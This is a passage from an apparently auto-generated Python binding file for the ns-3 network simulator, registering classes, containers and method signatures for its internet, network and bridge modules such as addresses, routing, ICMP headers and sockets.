## bridge-net-device.h (module 'bridge'): ns3::BridgeNetDevice [class]
module.add_class('BridgeNetDevice', import_from_module='ns.bridge', parent=root_module['ns3::NetDevice'])
## icmpv4-l4-protocol.h (module 'internet'): ns3::Icmpv4L4Protocol [class]
module.add_class('Icmpv4L4Protocol', parent=root_module['ns3::Ipv4L4Protocol'])
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol [class]
module.add_class('Icmpv6L4Protocol', parent=root_module['ns3::Ipv6L4Protocol'])
## ipv4-global-routing.h (module 'internet'): ns3::Ipv4GlobalRouting [class]
module.add_class('Ipv4GlobalRouting', parent=root_module['ns3::Ipv4RoutingProtocol'])
## ipv4-list-routing.h (module 'internet'): ns3::Ipv4ListRouting [class]
module.add_class('Ipv4ListRouting', parent=root_module['ns3::Ipv4RoutingProtocol'])
## ipv6-list-routing.h (module 'internet'): ns3::Ipv6ListRouting [class]
module.add_class('Ipv6ListRouting', parent=root_module['ns3::Ipv6RoutingProtocol'])
## loopback-net-device.h (module 'internet'): ns3::LoopbackNetDevice [class]
module.add_class('LoopbackNetDevice', parent=root_module['ns3::NetDevice'])
module.add_container('std::vector< unsigned int >', 'unsigned int', container_type='vector')
module.add_container('std::vector< bool >', 'bool', container_type='vector')
module.add_container('std::list< ns3::Ptr< ns3::Packet > >', 'ns3::Ptr< ns3::Packet >', container_type='list')
module.add_container('std::map< unsigned int, unsigned int >', ('unsigned int', 'unsigned int'), container_type='map')
module.add_container('std::vector< ns3::Ipv6Address >', 'ns3::Ipv6Address', container_type='vector')
typehandlers.add_type_alias('ns3::SequenceNumber< short unsigned int, short int >', 'ns3::SequenceNumber16')
typehandlers.add_type_alias('ns3::SequenceNumber< short unsigned int, short int >*', 'ns3::SequenceNumber16*')
typehandlers.add_type_alias('ns3::SequenceNumber< short unsigned int, short int >&', 'ns3::SequenceNumber16&')
typehandlers.add_type_alias('ns3::SequenceNumber< unsigned int, int >', 'ns3::SequenceNumber32')
typehandlers.add_type_alias('ns3::SequenceNumber< unsigned int, int >*', 'ns3::SequenceNumber32*')
typehandlers.add_type_alias('ns3::SequenceNumber< unsigned int, int >&', 'ns3::SequenceNumber32&')
## Register a nested module for the namespace FatalImpl
nested_module = module.add_cpp_namespace('FatalImpl')
register_types_ns3_FatalImpl(nested_module)
def register_types_ns3_FatalImpl(module):
root_module = module.get_root()
def register_methods(root_module):
register_Ns3Address_methods(root_module, root_module['ns3::Address'])
register_Ns3AsciiTraceHelper_methods(root_module, root_module['ns3::AsciiTraceHelper'])
register_Ns3AsciiTraceHelperForDevice_methods(root_module, root_module['ns3::AsciiTraceHelperForDevice'])
register_Ns3AsciiTraceHelperForIpv4_methods(root_module, root_module['ns3::AsciiTraceHelperForIpv4'])
register_Ns3AsciiTraceHelperForIpv6_methods(root_module, root_module['ns3::AsciiTraceHelperForIpv6'])
register_Ns3AttributeConstructionList_methods(root_module, root_module['ns3::AttributeConstructionList'])
register_Ns3AttributeConstructionListItem_methods(root_module, root_module['ns3::AttributeConstructionList::Item'])
register_Ns3Buffer_methods(root_module, root_module['ns3::Buffer'])
register_Ns3BufferIterator_methods(root_module, root_module['ns3::Buffer::Iterator'])
register_Ns3ByteTagIterator_methods(root_module, root_module['ns3::ByteTagIterator'])
register_Ns3ByteTagIteratorItem_methods(root_module, root_module['ns3::ByteTagIterator::Item'])
register_Ns3ByteTagList_methods(root_module, root_module['ns3::ByteTagList'])
register_Ns3ByteTagListIterator_methods(root_module, root_module['ns3::ByteTagList::Iterator'])
register_Ns3ByteTagListIteratorItem_methods(root_module, root_module['ns3::ByteTagList::Iterator::Item'])
register_Ns3CallbackBase_methods(root_module, root_module['ns3::CallbackBase'])
register_Ns3CandidateQueue_methods(root_module, root_module['ns3::CandidateQueue'])
register_Ns3EventId_methods(root_module, root_module['ns3::EventId'])
register_Ns3GlobalRouteManager_methods(root_module, root_module['ns3::GlobalRouteManager'])
register_Ns3GlobalRouteManagerImpl_methods(root_module, root_module['ns3::GlobalRouteManagerImpl'])
register_Ns3GlobalRouteManagerLSDB_methods(root_module, root_module['ns3::GlobalRouteManagerLSDB'])
register_Ns3GlobalRoutingLSA_methods(root_module, root_module['ns3::GlobalRoutingLSA'])
register_Ns3GlobalRoutingLinkRecord_methods(root_module, root_module['ns3::GlobalRoutingLinkRecord'])
register_Ns3IntToType__0_methods(root_module, root_module['ns3::IntToType< 0 >'])
register_Ns3IntToType__1_methods(root_module, root_module['ns3::IntToType< 1 >'])
register_Ns3IntToType__2_methods(root_module, root_module['ns3::IntToType< 2 >'])
register_Ns3IntToType__3_methods(root_module, root_module['ns3::IntToType< 3 >'])
register_Ns3IntToType__4_methods(root_module, root_module['ns3::IntToType< 4 >'])
register_Ns3IntToType__5_methods(root_module, root_module['ns3::IntToType< 5 >'])
register_Ns3IntToType__6_methods(root_module, root_module['ns3::IntToType< 6 >'])
register_Ns3Ipv4Address_methods(root_module, root_module['ns3::Ipv4Address'])
register_Ns3Ipv4AddressGenerator_methods(root_module, root_module['ns3::Ipv4AddressGenerator'])
register_Ns3Ipv4AddressHelper_methods(root_module, root_module['ns3::Ipv4AddressHelper'])
register_Ns3Ipv4EndPoint_methods(root_module, root_module['ns3::Ipv4EndPoint'])
register_Ns3Ipv4InterfaceAddress_methods(root_module, root_module['ns3::Ipv4InterfaceAddress'])
register_Ns3Ipv4InterfaceContainer_methods(root_module, root_module['ns3::Ipv4InterfaceContainer'])
register_Ns3Ipv4Mask_methods(root_module, root_module['ns3::Ipv4Mask'])
register_Ns3Ipv4MulticastRoutingTableEntry_methods(root_module, root_module['ns3::Ipv4MulticastRoutingTableEntry'])
register_Ns3Ipv4RoutingHelper_methods(root_module, root_module['ns3::Ipv4RoutingHelper'])
register_Ns3Ipv4RoutingTableEntry_methods(root_module, root_module['ns3::Ipv4RoutingTableEntry'])
register_Ns3Ipv4StaticRoutingHelper_methods(root_module, root_module['ns3::Ipv4StaticRoutingHelper'])
register_Ns3Ipv6Address_methods(root_module, root_module['ns3::Ipv6Address'])
register_Ns3Ipv6AddressHelper_methods(root_module, root_module['ns3::Ipv6AddressHelper'])
register_Ns3Ipv6InterfaceAddress_methods(root_module, root_module['ns3::Ipv6InterfaceAddress'])
register_Ns3Ipv6InterfaceContainer_methods(root_module, root_module['ns3::Ipv6InterfaceContainer'])
register_Ns3Ipv6MulticastRoutingTableEntry_methods(root_module, root_module['ns3::Ipv6MulticastRoutingTableEntry'])
register_Ns3Ipv6Prefix_methods(root_module, root_module['ns3::Ipv6Prefix'])
register_Ns3Ipv6RoutingHelper_methods(root_module, root_module['ns3::Ipv6RoutingHelper'])
register_Ns3Ipv6RoutingTableEntry_methods(root_module, root_module['ns3::Ipv6RoutingTableEntry'])
register_Ns3Ipv6StaticRoutingHelper_methods(root_module, root_module['ns3::Ipv6StaticRoutingHelper'])
register_Ns3Mac48Address_methods(root_module, root_module['ns3::Mac48Address'])
register_Ns3NetDeviceContainer_methods(root_module, root_module['ns3::NetDeviceContainer'])
register_Ns3NodeContainer_methods(root_module, root_module['ns3::NodeContainer'])
register_Ns3ObjectBase_methods(root_module, root_module['ns3::ObjectBase'])
register_Ns3ObjectDeleter_methods(root_module, root_module['ns3::ObjectDeleter'])
register_Ns3ObjectFactory_methods(root_module, root_module['ns3::ObjectFactory'])
register_Ns3OptionField_methods(root_module, root_module['ns3::OptionField'])
register_Ns3PacketMetadata_methods(root_module, root_module['ns3::PacketMetadata'])
register_Ns3PacketMetadataItem_methods(root_module, root_module['ns3::PacketMetadata::Item'])
register_Ns3PacketMetadataItemIterator_methods(root_module, root_module['ns3::PacketMetadata::ItemIterator'])
register_Ns3PacketTagIterator_methods(root_module, root_module['ns3::PacketTagIterator'])
register_Ns3PacketTagIteratorItem_methods(root_module, root_module['ns3::PacketTagIterator::Item'])
register_Ns3PacketTagList_methods(root_module, root_module['ns3::PacketTagList'])
register_Ns3PacketTagListTagData_methods(root_module, root_module['ns3::PacketTagList::TagData'])
register_Ns3PcapFile_methods(root_module, root_module['ns3::PcapFile'])
register_Ns3PcapHelper_methods(root_module, root_module['ns3::PcapHelper'])
register_Ns3PcapHelperForDevice_methods(root_module, root_module['ns3::PcapHelperForDevice'])
register_Ns3PcapHelperForIpv4_methods(root_module, root_module['ns3::PcapHelperForIpv4'])
register_Ns3PcapHelperForIpv6_methods(root_module, root_module['ns3::PcapHelperForIpv6'])
register_Ns3RandomVariable_methods(root_module, root_module['ns3::RandomVariable'])
register_Ns3SPFVertex_methods(root_module, root_module['ns3::SPFVertex'])
register_Ns3SeedManager_methods(root_module, root_module['ns3::SeedManager'])
register_Ns3SequenceNumber32_methods(root_module, root_module['ns3::SequenceNumber32'])
register_Ns3SequentialVariable_methods(root_module, root_module['ns3::SequentialVariable'])
register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >'])
register_Ns3Simulator_methods(root_module, root_module['ns3::Simulator'])
register_Ns3Tag_methods(root_module, root_module['ns3::Tag'])
register_Ns3TagBuffer_methods(root_module, root_module['ns3::TagBuffer'])
register_Ns3Timer_methods(root_module, root_module['ns3::Timer'])
register_Ns3TimerImpl_methods(root_module, root_module['ns3::TimerImpl'])
register_Ns3TriangularVariable_methods(root_module, root_module['ns3::TriangularVariable'])
register_Ns3TypeId_methods(root_module, root_module['ns3::TypeId'])
register_Ns3TypeIdAttributeInformation_methods(root_module, root_module['ns3::TypeId::AttributeInformation'])
register_Ns3TypeIdTraceSourceInformation_methods(root_module, root_module['ns3::TypeId::TraceSourceInformation'])
register_Ns3UniformVariable_methods(root_module, root_module['ns3::UniformVariable'])
register_Ns3WeibullVariable_methods(root_module, root_module['ns3::WeibullVariable'])
register_Ns3ZetaVariable_methods(root_module, root_module['ns3::ZetaVariable'])
register_Ns3ZipfVariable_methods(root_module, root_module['ns3::ZipfVariable'])
register_Ns3Empty_methods(root_module, root_module['ns3::empty'])
register_Ns3Int64x64_t_methods(root_module, root_module['ns3::int64x64_t'])
register_Ns3Chunk_methods(root_module, root_module['ns3::Chunk'])
register_Ns3ConstantVariable_methods(root_module, root_module['ns3::ConstantVariable'])
register_Ns3DeterministicVariable_methods(root_module, root_module['ns3::DeterministicVariable'])
register_Ns3EmpiricalVariable_methods(root_module, root_module['ns3::EmpiricalVariable'])
register_Ns3ErlangVariable_methods(root_module, root_module['ns3::ErlangVariable'])
register_Ns3ExponentialVariable_methods(root_module, root_module['ns3::ExponentialVariable'])
register_Ns3GammaVariable_methods(root_module, root_module['ns3::GammaVariable'])
register_Ns3Header_methods(root_module, root_module['ns3::Header'])
register_Ns3Icmpv4DestinationUnreachable_methods(root_module, root_module['ns3::Icmpv4DestinationUnreachable'])
register_Ns3Icmpv4Echo_methods(root_module, root_module['ns3::Icmpv4Echo'])
register_Ns3Icmpv4Header_methods(root_module, root_module['ns3::Icmpv4Header'])
register_Ns3Icmpv4TimeExceeded_methods(root_module, root_module['ns3::Icmpv4TimeExceeded'])
register_Ns3Icmpv6Header_methods(root_module, root_module['ns3::Icmpv6Header'])
register_Ns3Icmpv6NA_methods(root_module, root_module['ns3::Icmpv6NA'])
register_Ns3Icmpv6NS_methods(root_module, root_module['ns3::Icmpv6NS'])
register_Ns3Icmpv6OptionHeader_methods(root_module, root_module['ns3::Icmpv6OptionHeader'])
register_Ns3Icmpv6OptionLinkLayerAddress_methods(root_module, root_module['ns3::Icmpv6OptionLinkLayerAddress'])
register_Ns3Icmpv6OptionMtu_methods(root_module, root_module['ns3::Icmpv6OptionMtu'])
register_Ns3Icmpv6OptionPrefixInformation_methods(root_module, root_module['ns3::Icmpv6OptionPrefixInformation'])
register_Ns3Icmpv6OptionRedirected_methods(root_module, root_module['ns3::Icmpv6OptionRedirected'])
register_Ns3Icmpv6ParameterError_methods(root_module, root_module['ns3::Icmpv6ParameterError'])
register_Ns3Icmpv6RA_methods(root_module, root_module['ns3::Icmpv6RA'])
register_Ns3Icmpv6RS_methods(root_module, root_module['ns3::Icmpv6RS'])
register_Ns3Icmpv6Redirection_methods(root_module, root_module['ns3::Icmpv6Redirection'])
register_Ns3Icmpv6TimeExceeded_methods(root_module, root_module['ns3::Icmpv6TimeExceeded'])
register_Ns3Icmpv6TooBig_methods(root_module, root_module['ns3::Icmpv6TooBig'])
register_Ns3IntEmpiricalVariable_methods(root_module, root_module['ns3::IntEmpiricalVariable'])
register_Ns3InternetStackHelper_methods(root_module, root_module['ns3::InternetStackHelper'])
register_Ns3Ipv4GlobalRoutingHelper_methods(root_module, root_module['ns3::Ipv4GlobalRoutingHelper'])
register_Ns3Ipv4Header_methods(root_module, root_module['ns3::Ipv4Header'])
register_Ns3Ipv4ListRoutingHelper_methods(root_module, root_module['ns3::Ipv4ListRoutingHelper'])
register_Ns3Ipv4PacketInfoTag_methods(root_module, root_module['ns3::Ipv4PacketInfoTag'])
register_Ns3Ipv6ExtensionHeader_methods(root_module, root_module['ns3::Ipv6ExtensionHeader'])
register_Ns3Ipv6ExtensionHopByHopHeader_methods(root_module, root_module['ns3::Ipv6ExtensionHopByHopHeader'])
register_Ns3Ipv6ExtensionRoutingHeader_methods(root_module, root_module['ns3::Ipv6ExtensionRoutingHeader'])
register_Ns3Ipv6Header_methods(root_module, root_module['ns3::Ipv6Header'])
register_Ns3Ipv6ListRoutingHelper_methods(root_module, root_module['ns3::Ipv6ListRoutingHelper'])
register_Ns3Ipv6OptionHeader_methods(root_module, root_module['ns3::Ipv6OptionHeader'])
register_Ns3Ipv6OptionHeaderAlignment_methods(root_module, root_module['ns3::Ipv6OptionHeader::Alignment'])
register_Ns3Ipv6OptionJumbogramHeader_methods(root_module, root_module['ns3::Ipv6OptionJumbogramHeader'])
register_Ns3Ipv6OptionPad1Header_methods(root_module, root_module['ns3::Ipv6OptionPad1Header'])
register_Ns3Ipv6OptionPadnHeader_methods(root_module, root_module['ns3::Ipv6OptionPadnHeader'])
register_Ns3Ipv6OptionRouterAlertHeader_methods(root_module, root_module['ns3::Ipv6OptionRouterAlertHeader'])
register_Ns3Ipv6PacketInfoTag_methods(root_module, root_module['ns3::Ipv6PacketInfoTag'])
register_Ns3LogNormalVariable_methods(root_module, root_module['ns3::LogNormalVariable'])
register_Ns3NormalVariable_methods(root_module, root_module['ns3::NormalVariable'])
register_Ns3Object_methods(root_module, root_module['ns3::Object'])
register_Ns3ObjectAggregateIterator_methods(root_module, root_module['ns3::Object::AggregateIterator'])
register_Ns3ParetoVariable_methods(root_module, root_module['ns3::ParetoVariable'])
register_Ns3PcapFileWrapper_methods(root_module, root_module['ns3::PcapFileWrapper'])
register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >'])
register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >'])
register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >'])
register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >'])
register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >'])
register_Ns3SimpleRefCount__Ns3Ipv4MulticastRoute_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4MulticastRoute__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >'])
register_Ns3SimpleRefCount__Ns3Ipv4Route_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4Route__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >'])
register_Ns3SimpleRefCount__Ns3Ipv6MulticastRoute_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv6MulticastRoute__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv6MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6MulticastRoute> >'])
register_Ns3SimpleRefCount__Ns3Ipv6Route_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv6Route__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv6Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6Route> >'])
register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >'])
register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >'])
register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >'])
register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >'])
register_Ns3Socket_methods(root_module, root_module['ns3::Socket'])
register_Ns3SocketAddressTag_methods(root_module, root_module['ns3::SocketAddressTag'])
register_Ns3SocketFactory_methods(root_module, root_module['ns3::SocketFactory'])
register_Ns3SocketIpTtlTag_methods(root_module, root_module['ns3::SocketIpTtlTag'])
register_Ns3SocketSetDontFragmentTag_methods(root_module, root_module['ns3::SocketSetDontFragmentTag'])
register_Ns3TcpHeader_methods(root_module, root_module['ns3::TcpHeader'])
register_Ns3TcpSocket_methods(root_module, root_module['ns3::TcpSocket'])
register_Ns3TcpSocketFactory_methods(root_module, root_module['ns3::TcpSocketFactory'])
register_Ns3Time_methods(root_module, root_module['ns3::Time'])
register_Ns3TraceSourceAccessor_methods(root_module, root_module['ns3::TraceSourceAccessor'])
register_Ns3Trailer_methods(root_module, root_module['ns3::Trailer'])
register_Ns3UdpHeader_methods(root_module, root_module['ns3::UdpHeader'])
register_Ns3UdpSocket_methods(root_module, root_module['ns3::UdpSocket'])
register_Ns3UdpSocketFactory_methods(root_module, root_module['ns3::UdpSocketFactory'])
register_Ns3ArpCache_methods(root_module, root_module['ns3::ArpCache'])
register_Ns3ArpCacheEntry_methods(root_module, root_module['ns3::ArpCache::Entry'])
register_Ns3ArpHeader_methods(root_module, root_module['ns3::ArpHeader'])
register_Ns3ArpL3Protocol_methods(root_module, root_module['ns3::ArpL3Protocol'])
register_Ns3AttributeAccessor_methods(root_module, root_module['ns3::AttributeAccessor'])
register_Ns3AttributeChecker_methods(root_module, root_module['ns3::AttributeChecker'])
register_Ns3AttributeValue_methods(root_module, root_module['ns3::AttributeValue'])
register_Ns3CallbackChecker_methods(root_module, root_module['ns3::CallbackChecker'])
register_Ns3CallbackImplBase_methods(root_module, root_module['ns3::CallbackImplBase'])
register_Ns3CallbackValue_methods(root_module, root_module['ns3::CallbackValue'])
register_Ns3Channel_methods(root_module, root_module['ns3::Channel'])
register_Ns3EmptyAttributeValue_methods(root_module, root_module['ns3::EmptyAttributeValue'])
register_Ns3EventImpl_methods(root_module, root_module['ns3::EventImpl'])
register_Ns3GlobalRouter_methods(root_module, root_module['ns3::GlobalRouter'])
register_Ns3Icmpv6DestinationUnreachable_methods(root_module, root_module['ns3::Icmpv6DestinationUnreachable'])
register_Ns3Icmpv6Echo_methods(root_module, root_module['ns3::Icmpv6Echo'])
register_Ns3Ipv4_methods(root_module, root_module['ns3::Ipv4'])
register_Ns3Ipv4AddressChecker_methods(root_module, root_module['ns3::Ipv4AddressChecker'])
register_Ns3Ipv4AddressValue_methods(root_module, root_module['ns3::Ipv4AddressValue'])
register_Ns3Ipv4Interface_methods(root_module, root_module['ns3::Ipv4Interface'])
register_Ns3Ipv4L3Protocol_methods(root_module, root_module['ns3::Ipv4L3Protocol'])
register_Ns3Ipv4L4Protocol_methods(root_module, root_module['ns3::Ipv4L4Protocol'])
register_Ns3Ipv4MaskChecker_methods(root_module, root_module['ns3::Ipv4MaskChecker'])
register_Ns3Ipv4MaskValue_methods(root_module, root_module['ns3::Ipv4MaskValue'])
register_Ns3Ipv4MulticastRoute_methods(root_module, root_module['ns3::Ipv4MulticastRoute'])
register_Ns3Ipv4RawSocketFactory_methods(root_module, root_module['ns3::Ipv4RawSocketFactory'])
register_Ns3Ipv4RawSocketImpl_methods(root_module, root_module['ns3::Ipv4RawSocketImpl'])
register_Ns3Ipv4Route_methods(root_module, root_module['ns3::Ipv4Route'])
register_Ns3Ipv4RoutingProtocol_methods(root_module, root_module['ns3::Ipv4RoutingProtocol'])
register_Ns3Ipv4StaticRouting_methods(root_module, root_module['ns3::Ipv4StaticRouting'])
register_Ns3Ipv6_methods(root_module, root_module['ns3::Ipv6'])
register_Ns3Ipv6AddressChecker_methods(root_module, root_module['ns3::Ipv6AddressChecker'])
register_Ns3Ipv6AddressValue_methods(root_module, root_module['ns3::Ipv6AddressValue'])
register_Ns3Ipv6ExtensionAHHeader_methods(root_module, root_module['ns3::Ipv6ExtensionAHHeader'])
register_Ns3Ipv6ExtensionDestinationHeader_methods(root_module, root_module['ns3::Ipv6ExtensionDestinationHeader'])
register_Ns3Ipv6ExtensionESPHeader_methods(root_module, root_module['ns3::Ipv6ExtensionESPHeader'])
register_Ns3Ipv6ExtensionFragmentHeader_methods(root_module, root_module['ns3::Ipv6ExtensionFragmentHeader'])
register_Ns3Ipv6ExtensionLooseRoutingHeader_methods(root_module, root_module['ns3::Ipv6ExtensionLooseRoutingHeader'])
register_Ns3Ipv6Interface_methods(root_module, root_module['ns3::Ipv6Interface'])
register_Ns3Ipv6L3Protocol_methods(root_module, root_module['ns3::Ipv6L3Protocol'])
register_Ns3Ipv6L4Protocol_methods(root_module, root_module['ns3::Ipv6L4Protocol'])
register_Ns3Ipv6MulticastRoute_methods(root_module, root_module['ns3::Ipv6MulticastRoute'])
register_Ns3Ipv6PrefixChecker_methods(root_module, root_module['ns3::Ipv6PrefixChecker'])
register_Ns3Ipv6PrefixValue_methods(root_module, root_module['ns3::Ipv6PrefixValue'])
register_Ns3Ipv6RawSocketFactory_methods(root_module, root_module['ns3::Ipv6RawSocketFactory'])
register_Ns3Ipv6Route_methods(root_module, root_module['ns3::Ipv6Route'])
register_Ns3Ipv6RoutingProtocol_methods(root_module, root_module['ns3::Ipv6RoutingProtocol'])
register_Ns3Ipv6StaticRouting_methods(root_module, root_module['ns3::Ipv6StaticRouting'])
register_Ns3Mac48AddressChecker_methods(root_module, root_module['ns3::Mac48AddressChecker'])
register_Ns3Mac48AddressValue_methods(root_module, root_module['ns3::Mac48AddressValue'])
register_Ns3NdiscCache_methods(root_module, root_module['ns3::NdiscCache'])
register_Ns3NdiscCacheEntry_methods(root_module, root_module['ns3::NdiscCache::Entry'])
register_Ns3NetDevice_methods(root_module, root_module['ns3::NetDevice'])
register_Ns3NixVector_methods(root_module, root_module['ns3::NixVector'])
register_Ns3Node_methods(root_module, root_module['ns3::Node'])
register_Ns3ObjectFactoryChecker_methods(root_module, root_module['ns3::ObjectFactoryChecker'])
register_Ns3ObjectFactoryValue_methods(root_module, root_module['ns3::ObjectFactoryValue'])
register_Ns3OutputStreamWrapper_methods(root_module, root_module['ns3::OutputStreamWrapper'])
register_Ns3Packet_methods(root_module, root_module['ns3::Packet'])
register_Ns3RandomVariableChecker_methods(root_module, root_module['ns3::RandomVariableChecker'])
register_Ns3RandomVariableValue_methods(root_module, root_module['ns3::RandomVariableValue'])
register_Ns3TcpL4Protocol_methods(root_module, root_module['ns3::TcpL4Protocol'])
register_Ns3TimeChecker_methods(root_module, root_module['ns3::TimeChecker'])
register_Ns3TimeValue_methods(root_module, root_module['ns3::TimeValue'])
register_Ns3TypeIdChecker_methods(root_module, root_module['ns3::TypeIdChecker'])
register_Ns3TypeIdValue_methods(root_module, root_module['ns3::TypeIdValue'])
register_Ns3UdpL4Protocol_methods(root_module, root_module['ns3::UdpL4Protocol'])
register_Ns3AddressChecker_methods(root_module, root_module['ns3::AddressChecker'])
register_Ns3AddressValue_methods(root_module, root_module['ns3::AddressValue'])
register_Ns3BridgeChannel_methods(root_module, root_module['ns3::BridgeChannel'])
register_Ns3BridgeNetDevice_methods(root_module, root_module['ns3::BridgeNetDevice'])
register_Ns3Icmpv4L4Protocol_methods(root_module, root_module['ns3::Icmpv4L4Protocol'])
register_Ns3Icmpv6L4Protocol_methods(root_module, root_module['ns3::Icmpv6L4Protocol'])
register_Ns3Ipv4GlobalRouting_methods(root_module, root_module['ns3::Ipv4GlobalRouting'])
register_Ns3Ipv4ListRouting_methods(root_module, root_module['ns3::Ipv4ListRouting'])
register_Ns3Ipv6ListRouting_methods(root_module, root_module['ns3::Ipv6ListRouting'])
register_Ns3LoopbackNetDevice_methods(root_module, root_module['ns3::LoopbackNetDevice'])
return
def register_Ns3Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## address.h (module 'network'): ns3::Address::Address() [constructor]
cls.add_constructor([])
## address.h (module 'network'): ns3::Address::Address(uint8_t type, uint8_t const * buffer, uint8_t len) [constructor]
cls.add_constructor([param('uint8_t', 'type'), param('uint8_t const *', 'buffer'), param('uint8_t', 'len')])
## address.h (module 'network'): ns3::Address::Address(ns3::Address const & address) [copy constructor]
cls.add_constructor([param('ns3::Address const &', 'address')])
## address.h (module 'network'): bool ns3::Address::CheckCompatible(uint8_t type, uint8_t len) const [member function]
cls.add_method('CheckCompatible',
'bool',
[param('uint8_t', 'type'), param('uint8_t', 'len')],
is_const=True)
## address.h (module 'network'): uint32_t ns3::Address::CopyAllFrom(uint8_t const * buffer, uint8_t len) [member function]
cls.add_method('CopyAllFrom',
'uint32_t',
[param('uint8_t const *', 'buffer'), param('uint8_t', 'len')])
## address.h (module 'network'): uint32_t ns3::Address::CopyAllTo(uint8_t * buffer, uint8_t len) const [member function]
cls.add_method('CopyAllTo',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint8_t', 'len')],
is_const=True)
## address.h (module 'network'): uint32_t ns3::Address::CopyFrom(uint8_t const * buffer, uint8_t len) [member function]
cls.add_method('CopyFrom',
'uint32_t',
[param('uint8_t const *', 'buffer'), param('uint8_t', 'len')])
## address.h (module 'network'): uint32_t ns3::Address::CopyTo(uint8_t * buffer) const [member function]
cls.add_method('CopyTo',
'uint32_t',
[param('uint8_t *', 'buffer')],
is_const=True)
## address.h (module 'network'): void ns3::Address::Deserialize(ns3::TagBuffer buffer) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'buffer')])
## address.h (module 'network'): uint8_t ns3::Address::GetLength() const [member function]
cls.add_method('GetLength',
'uint8_t',
[],
is_const=True)
## address.h (module 'network'): uint32_t ns3::Address::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## address.h (module 'network'): bool ns3::Address::IsInvalid() const [member function]
cls.add_method('IsInvalid',
'bool',
[],
is_const=True)
## address.h (module 'network'): bool ns3::Address::IsMatchingType(uint8_t type) const [member function]
cls.add_method('IsMatchingType',
'bool',
[param('uint8_t', 'type')],
is_const=True)
## address.h (module 'network'): static uint8_t ns3::Address::Register() [member function]
cls.add_method('Register',
'uint8_t',
[],
is_static=True)
## address.h (module 'network'): void ns3::Address::Serialize(ns3::TagBuffer buffer) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'buffer')],
is_const=True)
return
def register_Ns3AsciiTraceHelper_methods(root_module, cls):
## trace-helper.h (module 'network'): ns3::AsciiTraceHelper::AsciiTraceHelper(ns3::AsciiTraceHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AsciiTraceHelper const &', 'arg0')])
## trace-helper.h (module 'network'): ns3::AsciiTraceHelper::AsciiTraceHelper() [constructor]
cls.add_constructor([])
## trace-helper.h (module 'network'): ns3::Ptr<ns3::OutputStreamWrapper> ns3::AsciiTraceHelper::CreateFileStream(std::string filename, std::_Ios_Openmode filemode=std::ios_base::out) [member function]
cls.add_method('CreateFileStream',
'ns3::Ptr< ns3::OutputStreamWrapper >',
[param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode', default_value='std::ios_base::out')])
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDequeueSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('DefaultDequeueSinkWithContext',
'void',
